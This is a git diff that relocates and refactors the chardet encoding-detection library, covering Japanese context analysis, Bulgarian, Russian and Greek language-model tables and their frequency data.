-4933,7294,2633,4518,7295,4245,7296,7297,4519,7298,7299,4520,4521,4934,7300,4246, # 6720 -4522,7301,7302,7303,3579,7304,4247,4935,7305,4936,7306,7307,7308,7309,3777,7310, # 6736 -4523,7311,7312,7313,4248,3580,7314,4524,3778,4249,7315,3581,7316,3287,7317,3221, # 6752 -7318,4937,7319,7320,7321,7322,7323,7324,4938,4939,7325,4525,7326,7327,7328,4063, # 6768 -7329,7330,4940,7331,7332,4941,7333,4526,7334,3500,2780,1741,4942,2026,1742,7335, # 6784 -7336,3582,4527,2388,7337,7338,7339,4528,7340,4250,4943,7341,7342,7343,4944,7344, # 6800 -7345,7346,3020,7347,4945,7348,7349,7350,7351,3895,7352,3896,4064,3897,7353,7354, # 6816 -7355,4251,7356,7357,3898,7358,3779,7359,3780,3288,7360,7361,4529,7362,4946,4530, # 6832 -2027,7363,3899,4531,4947,3222,3583,7364,4948,7365,7366,7367,7368,4949,3501,4950, # 6848 -3781,4951,4532,7369,2517,4952,4252,4953,3155,7370,4954,4955,4253,2518,4533,7371, # 6864 -7372,2712,4254,7373,7374,7375,3670,4956,3671,7376,2389,3502,4065,7377,2338,7378, # 6880 -7379,7380,7381,3061,7382,4957,7383,7384,7385,7386,4958,4534,7387,7388,2993,7389, # 6896 -3062,7390,4959,7391,7392,7393,4960,3108,4961,7394,4535,7395,4962,3421,4536,7396, # 6912 -4963,7397,4964,1857,7398,4965,7399,7400,2176,3584,4966,7401,7402,3422,4537,3900, # 6928 -3585,7403,3782,7404,2852,7405,7406,7407,4538,3783,2654,3423,4967,4539,7408,3784, # 6944 -3586,2853,4540,4541,7409,3901,7410,3902,7411,7412,3785,3109,2327,3903,7413,7414, # 6960 -2970,4066,2932,7415,7416,7417,3904,3672,3424,7418,4542,4543,4544,7419,4968,7420, # 6976 -7421,4255,7422,7423,7424,7425,7426,4067,7427,3673,3365,4545,7428,3110,2559,3674, # 6992 -7429,7430,3156,7431,7432,3503,7433,3425,4546,7434,3063,2873,7435,3223,4969,4547, # 7008 -4548,2898,4256,4068,7436,4069,3587,3786,2933,3787,4257,4970,4971,3788,7437,4972, # 7024 -3064,7438,4549,7439,7440,7441,7442,7443,4973,3905,7444,2874,7445,7446,7447,7448, # 7040 -3021,7449,4550,3906,3588,4974,7450,7451,3789,3675,7452,2578,7453,4070,7454,7455, # 7056 -7456,4258,3676,7457,4975,7458,4976,4259,3790,3504,2634,4977,3677,4551,4260,7459, # 7072 -7460,7461,7462,3907,4261,4978,7463,7464,7465,7466,4979,4980,7467,7468,2213,4262, # 7088 -7469,7470,7471,3678,4981,7472,2439,7473,4263,3224,3289,7474,3908,2415,4982,7475, # 7104 -4264,7476,4983,2655,7477,7478,2732,4552,2854,2875,7479,7480,4265,7481,4553,4984, # 7120 -7482,7483,4266,7484,3679,3366,3680,2818,2781,2782,3367,3589,4554,3065,7485,4071, # 7136 -2899,7486,7487,3157,2462,4072,4555,4073,4985,4986,3111,4267,2687,3368,4556,4074, # 7152 -3791,4268,7488,3909,2783,7489,2656,1962,3158,4557,4987,1963,3159,3160,7490,3112, # 7168 -4988,4989,3022,4990,4991,3792,2855,7491,7492,2971,4558,7493,7494,4992,7495,7496, # 7184 -7497,7498,4993,7499,3426,4559,4994,7500,3681,4560,4269,4270,3910,7501,4075,4995, # 7200 -4271,7502,7503,4076,7504,4996,7505,3225,4997,4272,4077,2819,3023,7506,7507,2733, # 7216 -4561,7508,4562,7509,3369,3793,7510,3590,2508,7511,7512,4273,3113,2994,2616,7513, # 7232 -7514,7515,7516,7517,7518,2820,3911,4078,2748,7519,7520,4563,4998,7521,7522,7523, # 7248 -7524,4999,4274,7525,4564,3682,2239,4079,4565,7526,7527,7528,7529,5000,7530,7531, # 7264 -5001,4275,3794,7532,7533,7534,3066,5002,4566,3161,7535,7536,4080,7537,3162,7538, # 7280 -7539,4567,7540,7541,7542,7543,7544,7545,5003,7546,4568,7547,7548,7549,7550,7551, # 7296 -7552,7553,7554,7555,7556,5004,7557,7558,7559,5005,7560,3795,7561,4569,7562,7563, # 7312 -7564,2821,3796,4276,4277,4081,7565,2876,7566,5006,7567,7568,2900,7569,3797,3912, # 7328 -7570,7571,7572,4278,7573,7574,7575,5007,7576,7577,5008,7578,7579,4279,2934,7580, # 7344 -7581,5009,7582,4570,7583,4280,7584,7585,7586,4571,4572,3913,7587,4573,3505,7588, # 7360 -5010,7589,7590,7591,7592,3798,4574,7593,7594,5011,7595,4281,7596,7597,7598,4282, # 7376 -5012,7599,7600,5013,3163,7601,5014,7602,3914,7603,7604,2734,4575,4576,4577,7605, # 7392 -7606,7607,7608,7609,3506,5015,4578,7610,4082,7611,2822,2901,2579,3683,3024,4579, # 7408 -3507,7612,4580,7613,3226,3799,5016,7614,7615,7616,7617,7618,7619,7620,2995,3290, # 7424 -7621,4083,7622,5017,7623,7624,7625,7626,7627,4581,3915,7628,3291,7629,5018,7630, # 7440 -7631,7632,7633,4084,7634,7635,3427,3800,7636,7637,4582,7638,5019,4583,5020,7639, # 7456 -3916,7640,3801,5021,4584,4283,7641,7642,3428,3591,2269,7643,2617,7644,4585,3592, # 7472 -7645,4586,2902,7646,7647,3227,5022,7648,4587,7649,4284,7650,7651,7652,4588,2284, # 7488 -7653,5023,7654,7655,7656,4589,5024,3802,7657,7658,5025,3508,4590,7659,7660,7661, # 7504 -1969,5026,7662,7663,3684,1821,2688,7664,2028,2509,4285,7665,2823,1841,7666,2689, # 7520 -3114,7667,3917,4085,2160,5027,5028,2972,7668,5029,7669,7670,7671,3593,4086,7672, # 7536 -4591,4087,5030,3803,7673,7674,7675,7676,7677,7678,7679,4286,2366,4592,4593,3067, # 7552 -2328,7680,7681,4594,3594,3918,2029,4287,7682,5031,3919,3370,4288,4595,2856,7683, # 7568 -3509,7684,7685,5032,5033,7686,7687,3804,2784,7688,7689,7690,7691,3371,7692,7693, # 7584 -2877,5034,7694,7695,3920,4289,4088,7696,7697,7698,5035,7699,5036,4290,5037,5038, # 7600 -5039,7700,7701,7702,5040,5041,3228,7703,1760,7704,5042,3229,4596,2106,4089,7705, # 7616 -4597,2824,5043,2107,3372,7706,4291,4090,5044,7707,4091,7708,5045,3025,3805,4598, # 7632 -4292,4293,4294,3373,7709,4599,7710,5046,7711,7712,5047,5048,3806,7713,7714,7715, # 7648 -5049,7716,7717,7718,7719,4600,5050,7720,7721,7722,5051,7723,4295,3429,7724,7725, # 7664 -7726,7727,3921,7728,3292,5052,4092,7729,7730,7731,7732,7733,7734,7735,5053,5054, # 7680 -7736,7737,7738,7739,3922,3685,7740,7741,7742,7743,2635,5055,7744,5056,4601,7745, # 7696 -7746,2560,7747,7748,7749,7750,3923,7751,7752,7753,7754,7755,4296,2903,7756,7757, # 7712 -7758,7759,7760,3924,7761,5057,4297,7762,7763,5058,4298,7764,4093,7765,7766,5059, # 7728 -3925,7767,7768,7769,7770,7771,7772,7773,7774,7775,7776,3595,7777,4299,5060,4094, # 7744 -7778,3293,5061,7779,7780,4300,7781,7782,4602,7783,3596,7784,7785,3430,2367,7786, # 7760 -3164,5062,5063,4301,7787,7788,4095,5064,5065,7789,3374,3115,7790,7791,7792,7793, # 7776 -7794,7795,7796,3597,4603,7797,7798,3686,3116,3807,5066,7799,7800,5067,7801,7802, # 7792 -4604,4302,5068,4303,4096,7803,7804,3294,7805,7806,5069,4605,2690,7807,3026,7808, # 7808 -7809,7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823,7824, # 7824 -7825,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839,7840, # 7840 -7841,7842,7843,7844,7845,7846,7847,7848,7849,7850,7851,7852,7853,7854,7855,7856, # 7856 -7857,7858,7859,7860,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870,7871,7872, # 7872 -7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886,7887,7888, # 7888 -7889,7890,7891,7892,7893,7894,7895,7896,7897,7898,7899,7900,7901,7902,7903,7904, # 7904 -7905,7906,7907,7908,7909,7910,7911,7912,7913,7914,7915,7916,7917,7918,7919,7920, # 7920 -7921,7922,7923,7924,3926,7925,7926,7927,7928,7929,7930,7931,7932,7933,7934,7935, # 7936 -7936,7937,7938,7939,7940,7941,7942,7943,7944,7945,7946,7947,7948,7949,7950,7951, # 7952 -7952,7953,7954,7955,7956,7957,7958,7959,7960,7961,7962,7963,7964,7965,7966,7967, # 7968 -7968,7969,7970,7971,7972,7973,7974,7975,7976,7977,7978,7979,7980,7981,7982,7983, # 7984 -7984,7985,7986,7987,7988,7989,7990,7991,7992,7993,7994,7995,7996,7997,7998,7999, # 8000 -8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015, # 8016 -8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031, # 8032 -8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047, # 8048 -8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063, # 8064 -8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079, # 8080 -8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095, # 8096 -8096,8097,8098,8099,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110,8111, # 8112 -8112,8113,8114,8115,8116,8117,8118,8119,8120,8121,8122,8123,8124,8125,8126,8127, # 8128 -8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141,8142,8143, # 8144 -8144,8145,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155,8156,8157,8158,8159, # 8160 -8160,8161,8162,8163,8164,8165,8166,8167,8168,8169,8170,8171,8172,8173,8174,8175, # 8176 -8176,8177,8178,8179,8180,8181,8182,8183,8184,8185,8186,8187,8188,8189,8190,8191, # 8192 -8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8203,8204,8205,8206,8207, # 8208 -8208,8209,8210,8211,8212,8213,8214,8215,8216,8217,8218,8219,8220,8221,8222,8223, # 8224 -8224,8225,8226,8227,8228,8229,8230,8231,8232,8233,8234,8235,8236,8237,8238,8239, # 8240 -8240,8241,8242,8243,8244,8245,8246,8247,8248,8249,8250,8251,8252,8253,8254,8255, # 8256 -8256,8257,8258,8259,8260,8261,8262,8263,8264,8265,8266,8267,8268,8269,8270,8271) # 8272 +) + + diff --git a/extra/chardet/jpcntx.py b/thirdparty/chardet/jpcntx.py old mode 100755 new mode 100644 similarity index 82% rename from extra/chardet/jpcntx.py rename to thirdparty/chardet/jpcntx.py index 06d396e5b5c..20044e4bc8f --- a/extra/chardet/jpcntx.py +++ b/thirdparty/chardet/jpcntx.py @@ -13,28 +13,21 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -import constants - -NUM_OF_CATEGORY = 6 -DONT_KNOW = -1 -ENOUGH_REL_THRESHOLD = 100 -MAX_REL_THRESHOLD = 1000 -MINIMUM_DATA_THRESHOLD = 4 # This is hiragana 2-char sequence table, the number in each cell represents its frequency category -jp2CharContext = ( \ +jp2CharContext = ( (0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1), (2,4,0,4,0,3,0,4,0,3,4,4,4,2,4,3,3,4,3,2,3,3,4,2,3,3,3,2,4,1,4,3,3,1,5,4,3,4,3,4,3,5,3,0,3,5,4,2,0,3,1,0,3,3,0,3,3,0,1,1,0,4,3,0,3,3,0,4,0,2,0,3,5,5,5,5,4,0,4,1,0,3,4), (0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2), @@ -120,91 +113,121 @@ (0,4,0,3,0,3,0,3,0,3,5,5,3,3,3,3,4,3,4,3,3,3,4,4,4,3,3,3,3,4,3,5,3,3,1,3,2,4,5,5,5,5,4,3,4,5,5,3,2,2,3,3,3,3,2,3,3,1,2,3,2,4,3,3,3,4,0,4,0,2,0,4,3,2,2,1,2,0,3,0,0,4,1), ) -class JapaneseContextAnalysis: +class JapaneseContextAnalysis(object): + NUM_OF_CATEGORY = 6 + DONT_KNOW = -1 + ENOUGH_REL_THRESHOLD = 100 + MAX_REL_THRESHOLD = 1000 + MINIMUM_DATA_THRESHOLD = 4 + def __init__(self): + self._total_rel = None + self._rel_sample = None + self._need_to_skip_char_num = None + self._last_char_order = None + self._done = None self.reset() def reset(self): - self._mTotalRel = 0 # total sequence received - self._mRelSample = [0] * NUM_OF_CATEGORY # category counters, each interger counts sequence in its category - self._mNeedToSkipCharNum = 0 # if last byte in current buffer is not the last byte of a character, we need to know how many bytes to skip in next buffer - self._mLastCharOrder = -1 # The order of previous char - self._mDone = constants.False # If this flag is set to constants.True, detection is done and conclusion has been made - - def feed(self, aBuf, aLen): - if self._mDone: return + self._total_rel = 0 # total sequence received + # category counters, each integer counts sequence in its category + self._rel_sample = [0] * self.NUM_OF_CATEGORY + # if last byte in current buffer is not the last byte of a character, + # we need to know how many bytes to skip in next buffer + self._need_to_skip_char_num = 0 + self._last_char_order = -1 # The order of previous char + # If this flag is set to True, detection is done and conclusion has + # been made + self._done = False + + def feed(self, byte_str, num_bytes): + if self._done: + return # The buffer we got is byte oriented, and a character may span in more than one - # buffers. In case the last one or two byte in last buffer is not complete, we - # record how many byte needed to complete that character and skip these bytes here. - # We can choose to record those bytes as well and analyse the character once it - # is complete, but since a character will not make much difference, by simply skipping + # buffers. In case the last one or two byte in last buffer is not + # complete, we record how many byte needed to complete that character + # and skip these bytes here. We can choose to record those bytes as + # well and analyse the character once it is complete, but since a + # character will not make much difference, by simply skipping # this character will simply our logic and improve performance. - i = self._mNeedToSkipCharNum - while i < aLen: - order, charLen = self.get_order(aBuf[i:i+2]) - i += charLen - if i > aLen: - self._mNeedToSkipCharNum = i - aLen - self._mLastCharOrder = -1 + i = self._need_to_skip_char_num + while i < num_bytes: + order, char_len = self.get_order(byte_str[i:i + 2]) + i += char_len + if i > num_bytes: + self._need_to_skip_char_num = i - num_bytes + self._last_char_order = -1 else: - if (order != -1) and (self._mLastCharOrder != -1): - self._mTotalRel += 1 - if self._mTotalRel > MAX_REL_THRESHOLD: - self._mDone = constants.True + if (order != -1) and (self._last_char_order != -1): + self._total_rel += 1 + if self._total_rel > self.MAX_REL_THRESHOLD: + self._done = True break - self._mRelSample[jp2CharContext[self._mLastCharOrder][order]] += 1 - self._mLastCharOrder = order + self._rel_sample[jp2CharContext[self._last_char_order][order]] += 1 + self._last_char_order = order def got_enough_data(self): - return self._mTotalRel > ENOUGH_REL_THRESHOLD + return self._total_rel > self.ENOUGH_REL_THRESHOLD def get_confidence(self): # This is just one way to calculate confidence. It works well for me. - if self._mTotalRel > MINIMUM_DATA_THRESHOLD: - return (self._mTotalRel - self._mRelSample[0]) / self._mTotalRel + if self._total_rel > self.MINIMUM_DATA_THRESHOLD: + return (self._total_rel - self._rel_sample[0]) / self._total_rel else: - return DONT_KNOW + return self.DONT_KNOW - def get_order(self, aStr): + def get_order(self, byte_str): return -1, 1 class SJISContextAnalysis(JapaneseContextAnalysis): - def get_order(self, aStr): - if not aStr: return -1, 1 + def __init__(self): + super(SJISContextAnalysis, self).__init__() + self._charset_name = "SHIFT_JIS" + + @property + def charset_name(self): + return self._charset_name + + def get_order(self, byte_str): + if not byte_str: + return -1, 1 # find out current char's byte length - if ((aStr[0] >= '\x81') and (aStr[0] <= '\x9F')) or \ - ((aStr[0] >= '\xE0') and (aStr[0] <= '\xFC')): - charLen = 2 + first_char = byte_str[0] + if (0x81 <= first_char <= 0x9F) or (0xE0 <= first_char <= 0xFC): + char_len = 2 + if (first_char == 0x87) or (0xFA <= first_char <= 0xFC): + self._charset_name = "CP932" else: - charLen = 1 + char_len = 1 # return its order if it is hiragana - if len(aStr) > 1: - if (aStr[0] == '\202') and \ - (aStr[1] >= '\x9F') and \ - (aStr[1] <= '\xF1'): - return ord(aStr[1]) - 0x9F, charLen + if len(byte_str) > 1: + second_char = byte_str[1] + if (first_char == 202) and (0x9F <= second_char <= 0xF1): + return second_char - 0x9F, char_len - return -1, charLen + return -1, char_len class EUCJPContextAnalysis(JapaneseContextAnalysis): - def get_order(self, aStr): - if not aStr: return -1, 1 + def get_order(self, byte_str): + if not byte_str: + return -1, 1 # find out current char's byte length - if (aStr[0] == '\x8E') or \ - ((aStr[0] >= '\xA1') and (aStr[0] <= '\xFE')): - charLen = 2 - elif aStr[0] == '\x8F': - charLen = 3 + first_char = byte_str[0] + if (first_char == 0x8E) or (0xA1 <= first_char <= 0xFE): + char_len = 2 + elif first_char == 0x8F: + char_len = 3 else: - charLen = 1 + char_len = 1 # return its order if it is hiragana - if len(aStr) > 1: - if (aStr[0] == '\xA4') and \ - (aStr[1] >= '\xA1') and \ - (aStr[1] <= '\xF3'): - return ord(aStr[1]) - 0xA1, charLen + if len(byte_str) > 1: + second_char = byte_str[1] + if (first_char == 0xA4) and (0xA1 <= second_char <= 0xF3): + return second_char - 0xA1, char_len + + return -1, char_len + - return -1, charLen diff --git a/extra/chardet/langbulgarianmodel.py b/thirdparty/chardet/langbulgarianmodel.py old mode 100755 new mode 100644 similarity index 94% rename from extra/chardet/langbulgarianmodel.py rename to thirdparty/chardet/langbulgarianmodel.py index bf5641e7bd1..2aa4fb2e22f --- a/extra/chardet/langbulgarianmodel.py +++ b/thirdparty/chardet/langbulgarianmodel.py @@ -13,30 +13,28 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -import constants - # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # Character Mapping Table: -# this table is modified base on win1251BulgarianCharToOrderMap, so +# this table is modified base on win1251BulgarianCharToOrderMap, so # only number <64 is sure valid -Latin5_BulgarianCharToOrderMap = ( \ +Latin5_BulgarianCharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -55,7 +53,7 @@ 62,242,243,244, 58,245, 98,246,247,248,249,250,251, 91,252,253, # f0 ) -win1251BulgarianCharToOrderMap = ( \ +win1251BulgarianCharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -74,13 +72,13 @@ 7, 8, 5, 19, 29, 25, 22, 21, 27, 24, 17, 75, 52,253, 42, 16, # f0 ) -# Model Table: +# Model Table: # total sequences: 100% # first 512 sequences: 96.9392% # first 1024 sequences:3.0618% # rest sequences: 0.2992% -# negative sequences: 0.0020% -BulgarianLangModel = ( \ +# negative sequences: 0.0020% +BulgarianLangModel = ( 0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,2,3,3,3,3,3, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,2,2,3,2,2,1,2,2, 3,1,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,3,3,3,3,3,3,3,0,3,0,1, @@ -211,18 +209,20 @@ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, ) -Latin5BulgarianModel = { \ - 'charToOrderMap': Latin5_BulgarianCharToOrderMap, - 'precedenceMatrix': BulgarianLangModel, - 'mTypicalPositiveRatio': 0.969392, - 'keepEnglishLetter': constants.False, - 'charsetName': "ISO-8859-5" +Latin5BulgarianModel = { + 'char_to_order_map': Latin5_BulgarianCharToOrderMap, + 'precedence_matrix': BulgarianLangModel, + 'typical_positive_ratio': 0.969392, + 'keep_english_letter': False, + 'charset_name': "ISO-8859-5", + 'language': 'Bulgairan', } -Win1251BulgarianModel = { \ - 'charToOrderMap': win1251BulgarianCharToOrderMap, - 'precedenceMatrix': BulgarianLangModel, - 'mTypicalPositiveRatio': 0.969392, - 'keepEnglishLetter': constants.False, - 'charsetName': "windows-1251" +Win1251BulgarianModel = { + 'char_to_order_map': win1251BulgarianCharToOrderMap, + 'precedence_matrix': BulgarianLangModel, + 'typical_positive_ratio': 0.969392, + 'keep_english_letter': False, + 'charset_name': "windows-1251", + 'language': 'Bulgarian', } diff --git a/extra/chardet/langcyrillicmodel.py b/thirdparty/chardet/langcyrillicmodel.py old mode 100755 new mode 100644 similarity index 90% rename from extra/chardet/langcyrillicmodel.py rename to thirdparty/chardet/langcyrillicmodel.py index e604cc73d56..e5f9a1fd19c --- a/extra/chardet/langcyrillicmodel.py +++ b/thirdparty/chardet/langcyrillicmodel.py @@ -13,23 +13,21 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -import constants - # KOI8-R language model # Character Mapping Table: -KOI8R_CharToOrderMap = ( \ +KOI8R_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -48,7 +46,7 @@ 35, 43, 45, 32, 40, 52, 56, 33, 61, 62, 51, 57, 47, 63, 50, 70, # f0 ) -win1251_CharToOrderMap = ( \ +win1251_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -67,7 +65,7 @@ 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, ) -latin5_CharToOrderMap = ( \ +latin5_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -86,7 +84,7 @@ 239, 68,240,241,242,243,244,245,246,247,248,249,250,251,252,255, ) -macCyrillic_CharToOrderMap = ( \ +macCyrillic_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -105,7 +103,7 @@ 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27,255, ) -IBM855_CharToOrderMap = ( \ +IBM855_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -124,7 +122,7 @@ 250, 18, 62, 20, 51, 25, 57, 30, 47, 29, 63, 22, 50,251,252,255, ) -IBM866_CharToOrderMap = ( \ +IBM866_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -143,13 +141,13 @@ 239, 68,240,241,242,243,244,245,246,247,248,249,250,251,252,255, ) -# Model Table: +# Model Table: # total sequences: 100% # first 512 sequences: 97.6601% # first 1024 sequences: 2.3389% # rest sequences: 0.1237% -# negative sequences: 0.0009% -RussianLangModel = ( \ +# negative sequences: 0.0009% +RussianLangModel = ( 0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,1,3,3,3,3,1,3,3,3,2,3,2,3,3, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,2,2,2,2,2,0,0,2, 3,3,3,2,3,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,3,2,3,2,0, @@ -280,50 +278,56 @@ 0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, ) -Koi8rModel = { \ - 'charToOrderMap': KOI8R_CharToOrderMap, - 'precedenceMatrix': RussianLangModel, - 'mTypicalPositiveRatio': 0.976601, - 'keepEnglishLetter': constants.False, - 'charsetName': "KOI8-R" +Koi8rModel = { + 'char_to_order_map': KOI8R_char_to_order_map, + 'precedence_matrix': RussianLangModel, + 'typical_positive_ratio': 0.976601, + 'keep_english_letter': False, + 'charset_name': "KOI8-R", + 'language': 'Russian', } -Win1251CyrillicModel = { \ - 'charToOrderMap': win1251_CharToOrderMap, - 'precedenceMatrix': RussianLangModel, - 'mTypicalPositiveRatio': 0.976601, - 'keepEnglishLetter': constants.False, - 'charsetName': "windows-1251" +Win1251CyrillicModel = { + 'char_to_order_map': win1251_char_to_order_map, + 'precedence_matrix': RussianLangModel, + 'typical_positive_ratio': 0.976601, + 'keep_english_letter': False, + 'charset_name': "windows-1251", + 'language': 'Russian', } -Latin5CyrillicModel = { \ - 'charToOrderMap': latin5_CharToOrderMap, - 'precedenceMatrix': RussianLangModel, - 'mTypicalPositiveRatio': 0.976601, - 'keepEnglishLetter': constants.False, - 'charsetName': "ISO-8859-5" +Latin5CyrillicModel = { + 'char_to_order_map': latin5_char_to_order_map, + 'precedence_matrix': RussianLangModel, + 'typical_positive_ratio': 0.976601, + 'keep_english_letter': False, + 'charset_name': "ISO-8859-5", + 'language': 'Russian', } -MacCyrillicModel = { \ - 'charToOrderMap': macCyrillic_CharToOrderMap, - 'precedenceMatrix': RussianLangModel, - 'mTypicalPositiveRatio': 0.976601, - 'keepEnglishLetter': constants.False, - 'charsetName': "MacCyrillic" -}; +MacCyrillicModel = { + 'char_to_order_map': macCyrillic_char_to_order_map, + 'precedence_matrix': RussianLangModel, + 'typical_positive_ratio': 0.976601, + 'keep_english_letter': False, + 'charset_name': "MacCyrillic", + 'language': 'Russian', +} -Ibm866Model = { \ - 'charToOrderMap': IBM866_CharToOrderMap, - 'precedenceMatrix': RussianLangModel, - 'mTypicalPositiveRatio': 0.976601, - 'keepEnglishLetter': constants.False, - 'charsetName': "IBM866" +Ibm866Model = { + 'char_to_order_map': IBM866_char_to_order_map, + 'precedence_matrix': RussianLangModel, + 'typical_positive_ratio': 0.976601, + 'keep_english_letter': False, + 'charset_name': "IBM866", + 'language': 'Russian', } -Ibm855Model = { \ - 'charToOrderMap': IBM855_CharToOrderMap, - 'precedenceMatrix': RussianLangModel, - 'mTypicalPositiveRatio': 0.976601, - 'keepEnglishLetter': constants.False, - 'charsetName': "IBM855" +Ibm855Model = { + 'char_to_order_map': IBM855_char_to_order_map, + 'precedence_matrix': RussianLangModel, + 'typical_positive_ratio': 0.976601, + 'keep_english_letter': False, + 'charset_name': "IBM855", + 'language': 'Russian', } diff --git a/extra/chardet/langgreekmodel.py b/thirdparty/chardet/langgreekmodel.py old mode 100755 new mode 100644 similarity index 95% rename from extra/chardet/langgreekmodel.py rename to thirdparty/chardet/langgreekmodel.py index ec6d49e800d..533222166cc --- a/extra/chardet/langgreekmodel.py +++ b/thirdparty/chardet/langgreekmodel.py @@ -13,27 +13,25 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -import constants - # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 